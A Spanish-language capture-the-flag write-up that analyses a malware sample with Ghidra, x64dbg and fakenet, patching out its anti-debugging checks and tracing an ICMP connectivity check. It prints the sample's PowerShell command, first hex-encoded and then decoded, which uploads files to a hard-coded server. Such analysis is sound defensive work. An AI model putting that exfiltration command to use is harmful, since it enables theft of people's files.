Guantelete de seguridad ofensivo 2025: Bóveda nula
Table of Contents
Bóveda de forma nula
Nos dan las siguientes instrucciones:
Tiene la tarea de realizar un análisis estático profundo de la muestra de malware recuperada. Tu misión:
- Identificar la funcionalidad principal del malware
- Documentar sus mecanismos anti-depuración.
- Extraiga su infraestructura de comando y control (C2)
- Evaluar su persistencia y potencial de propagación.
Empezar
Cargar en Flare VM
Vemos que está lleno de upx.
Se puede verificar observando la entropía.
Por razones de tiempo, simplemente usamos la línea de comando upx para descomprimir el archivo.
Lo cual podemos verificar el éxito viendo la entropía y los encabezados.

Ahora podemos desmontarlo. Cargarlo en ghidra.
Profundizando en la primera función, podemos ignorar esta con seguridad por ahora:
Hemos visto esta estructura antes. Simplemente está inicializando un valor inicial. Para qué, aún no lo sabemos, pero probablemente alguna función criptográfica.
La siguiente función es el inicio del programa real.
Es un poco largo, así que aquí solo incluiré la parte relevante:
plVar7 = (longlong *)FUN_140004b68();
if ((*plVar7 != 0) && (uVar6 = FUN_14000491c((longlong)plVar7), (char)uVar6 != '\0')) {
_register_thread_local_exe_atexit_callback(*plVar7);
}
uVar8 = _get_initial_narrow_environment();
puVar9 = (undefined8 *)__p___argv();
uVar4 = *puVar9;
puVar10 = (uint *)__p___argc();
uVar11 = (ulonglong)*puVar10;
uVar6 = FUN_1400026d0(uVar11,uVar4,uVar8,in_R9);
iVar3 = (int)uVar6;
bVar2 = FUN_140004cd0();
Es importante destacar que vemos la configuración del entorno: configurar muchas variables y luego pasarlas inmediatamente a otra función (en este caso, FUN_1400026d0). Debido a que se puso tanto "esfuerzo" en crear variables para esta función, podemos asumir que es importante. Además, esta llamada está cerca del final de la función de entrada, por lo que después de llamar a esta función, no se hace mucho más.
Le cambiaremos el nombre interesting_function para facilitar su recuerdo.

Esta función es significativamente más larga, por lo que la veremos paso a paso.
La primera parte consta de algunas comprobaciones de la versión de la API de Windows:
Aquí, realiza algunas comprobaciones con la salida de FUN_140001540. Básicamente, se trata de asegurarse de que la máquina actual admita versiones específicas de la API de Windows. Aquí está el código de FUN_140001540. No es muy relevante, pero verás que es fácil saber qué está haciendo:
local_128._0_4_ = 0x11c;
local_128._12_4_ = 0;
local_128._16_4_ = 0;
memset(local_128 + 0x14,0,0x100);
local_12 = 0;
local_10._0_2_ = 0;
local_10._2_1_ = '\0';
local_10._3_1_ = '\0';
uVar2 = VerSetConditionMask(0,2,3);
uVar2 = VerSetConditionMask(uVar2,1,3);
dwlConditionMask = VerSetConditionMask(uVar2,0x20,3);
local_128._4_4_ = 6;
local_128._8_4_ = 0;
local_14 = 0;
BVar1 = VerifyVersionInfoW((LPOSVERSIONINFOEXW)local_128,0x23,dwlConditionMask);
return CONCAT71((int7)(CONCAT44(extraout_var,BVar1) >> 8),BVar1 != 0);
Continuando, vemos una verificación para detectar si hay un depurador adjunto al proceso actual y, de ser así, salir inmediatamente.

En azul vemos algunas cosas más interesantes.
Esto se pone un poco interesante. Adjuntemos un depurador al malware y establezcamos un punto de interrupción justo antes de la verificación para ver si nuestro depurador en realidad está provocando una salida prematura.
Para hacer esto, hacemos el mismo proceso para abordar ASLR que hicimos en la sombra del ladrón:
Tomamos la dirección relativa de la instrucción en la que queremos interrumpir, en nuestro caso 1400026fa. Debido a que Ghidra establece la base de dirección en 0x140000000, podemos calcular que nuestro desplazamiento de dirección es 0x26fa.
Saltando a x64dbg, miramos el valor de compensación en la pestaña del mapa de memoria:
En este caso, 00007FF794A50000.
Podemos hacer algunos cálculos rápidos en la barra de comandos para calcular la dirección del punto de interrupción.
Iré a esta instrucción y estableceré un punto de interrupción.
Vemos que el ensamblaje de esta línea es test eax eax, que se alinea con lo que vimos en Ghidra. Ejecutemos el programa hasta llegar al punto de interrupción:
Ahora, la siguiente línea que vemos en IDA es jne output.<address>- Esto corresponde al programa que realiza una acción si se detecta un depurador. Entonces, podemos paso a paso instrucción por instrucción para ver cómo se desarrolla.
Sorprendentemente, pasa la prueba actual del depurador (en este caso, pasar significa saltar). Puede ver que se tomará la instrucción je porque hay una línea roja que apunta a la ubicación del salto. Básicamente, significa que estamos saltando la cláusula ExitProcess.
Pero hay más medidas de seguridad en este malware. Por lo tanto, haremos el mismo proceso para el resto de las medidas de seguridad para ver si alguna de ellas se activa:

De hecho, pasa bastantes controles-
Ahora parece que está llamando a otra función. Antes de pasar a esta función, hagamos los mismos cálculos que hicimos la última vez con el RVA y veamos cómo se ve esta nueva función 1540 en ghidra.
Bien, parece benigno, solo comprobamos la versión. Permitamos que se ejecuten.
Ahora estamos en otra declaración de salto seguida de una llamada a función. Veamos qué pasa:

Una vez más, pasa la prueba y vuelve a llamar a la misma función. Establecemos un punto de interrupción después de que regresa la función. Veamos cómo progresan las cosas si dejamos que ejecute la función de verificación de versión nuevamente.
No pasó nada; veamos cómo se verifican estos condicionales y veamos qué sucede.
Parece que terminó pasando ambas comprobaciones y ahora llamará a una función nueva (woohoo).
Al revisar esta función en Ghidra, vemos que es una función de salida (0x3840 contenía un NOP RET).
Entonces, fallido uno de los controles. Más específicamente, una de las comprobaciones saltó no, cuando buscado saltó (saltar = no hay depurador presente, omitir la salida).
Anulemos esta instrucción de llamada:
Ahora podemos continuar:

El siguiente paso es una lógica de bucle:
Vemos que una vez que la ejecución alcanza 0x27e4, vuelve a saltar condicionalmente, realiza una operación y luego rehace las comprobaciones. En ghidra, ni siquiera necesitamos usar RVA para encontrar esto; todavía está en la misma función y la estructura es muy obvia:
Como sabemos que se trata de una salida a prueba de fallos, podemos simplemente NOP esto y pasar a las siguientes líneas:
Después de configurar algunos valores, una vez más llamamos a otra función. Por razones de tiempo, esta función simplemente tomó los valores establecidos anteriormente (todos los dwords) y los reorganizó para formar una dirección IP.
Entonces aquí pasamos la función 0x15e0 y vemos que RSP contiene una dirección IP. Esta es solo una táctica utilizada por los actores de amenazas para evitar que una IP codificada pueda ser codificada.
Pero ahora se está llamando a la función 0x17b0, así que presumiblemente se usará; veamos para qué. Por contexto, aquí es donde estamos en la función (es fácil perderse en el ensamblaje):

Entonces estamos a punto de llamar a una función y, dependiendo de lo que se devuelva, saldrá. Te ahorraré tiempo y solo te mostraré la parte interesante de esta función:
Aquí vemos que se crea un socket ICMP y presumiblemente usando la dirección IP que vimos anteriormente. Saltemos al depurador justo antes de que se ejecute la línea 134.
Ahora que estamos aquí, podemos usar una herramienta llamada fakenet para simular una conexión a Internet (nuestra máquina está fuera de línea).
Básicamente, esto simulará que estamos en línea, porque a veces el malware comprueba si está en línea antes de ejecutarse. Responderá con basura a todas las solicitudes, pero lo más importante será una respuesta válida.
Es importante destacar que esto también funciona con solicitudes ICMP:
Estos se registran y se pueden consultar más tarde utilizando Wireshark.

Después de permitir que el programa ejecute la siguiente instrucción, podemos consultar los registros y aquí vemos el ping:
Y, de hecho, está dirigido a la IP que vimos en construcción e incluye una pequeña carga útil (si miras hacia atrás en las fotos, puedes ver esto también en construcción).
Ahora estamos en una especie de madriguera de conejo, así que recordemos lo que realmente estamos haciendo.
Estamos justo aquí en el ejecutable desensamblado:
Acabamos de ejecutar FUN_1400017b0, que era el mensaje ICMP. Ahora, el programa comprobará si el eco obtuvo respuesta y, si no, saldrá. Esto verifica nuestra idea de que se asegura de que esté en línea antes de continuar. Después de falsificar nuestra red, llegamos con éxito a la línea en la que se llama FUN_140001010. Establezcamos un punto de interrupción allí e inspeccionemos la pila.
Observe la ventana inferior izquierda (memoria de montón): Tenemos el texto ascii de un comando de PowerShell malicioso que, a simple vista, parece filtrar un archivo a un servidor IP codificado. De hecho, también podemos ver esto en nuestras transcripciones de PowerShell (de ejecuciones de malware anteriores durante la depuración):

La IP aquí está codificada, así que decodificaremos y reconstruiremos el comando:

powershell -Command $abc = [System.Text.Encoding]::UTF8.GetString([byte[]](0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x32,0x30,0x33,0x2E,0x30,0x2E,0x31,0x31,0x33,0x2E,0x34,0x32,0x3A,0x38,0x30,0x30,0x30,0x2F)) + 'da.msg'; Invoke-RestMethod -Uri $abc -Method Put -InFile 'C:\\Program Files\Git\mingw64\lib\tcl8.6\msgs\da.msg'
Decoded ->
Invoke-RestMethod -Uri http://203.0.113.42:8000/da_msg -Method Put -InFile 'C:\\Program Files\Git\mingw64\lib\tcl8.6\msgs\da.msg'
De hecho, es una orden de exfiltración... Lo cual tiene sentido. Si queremos ser un poco más específicos, podemos ver una parte diferente de la memoria que muestra las extensiones de archivos que intentará exfiltrar:
Que se monta en esta zona del desmontaje:

Podemos ver estas solicitudes http realizadas en tiempo real a través de nuestros registros de fakenet:
Sin embargo, debido a una falla (muy molesta) en fakenet, los oyentes HTTP que configura no pueden manejar solicitudes HTTP PUT, por lo que todas las solicitudes devuelven una excepción de protocolo no compatible. De todos modos, la solicitud se registra y podemos verla. Es exactamente como sospechamos: simplemente extrayendo archivos .msg aleatorios, que seem to be related a Microsoft Outlook.
Por supuesto, esperamos que esto busque las otras extensiones que estaban en la memoria (pdf, doc, etc.) y las extraiga también. Para nuestros propósitos, podemos detenernos aquí. Descubrimos:
- Cómo se ofusca el malware
- Qué hace el malware para buscar archivos
- Cómo comprueba si se está depurando
- Cómo garantiza que pueda comunicarse con el servidor C2
- Qué archivos busca
- Cómo extrae los archivos
Y como tal, tenemos todo el IoC que necesitamos para crear un conjunto de reglas sólido para detectar y bloquear cualquier actividad en este escenario ficticio.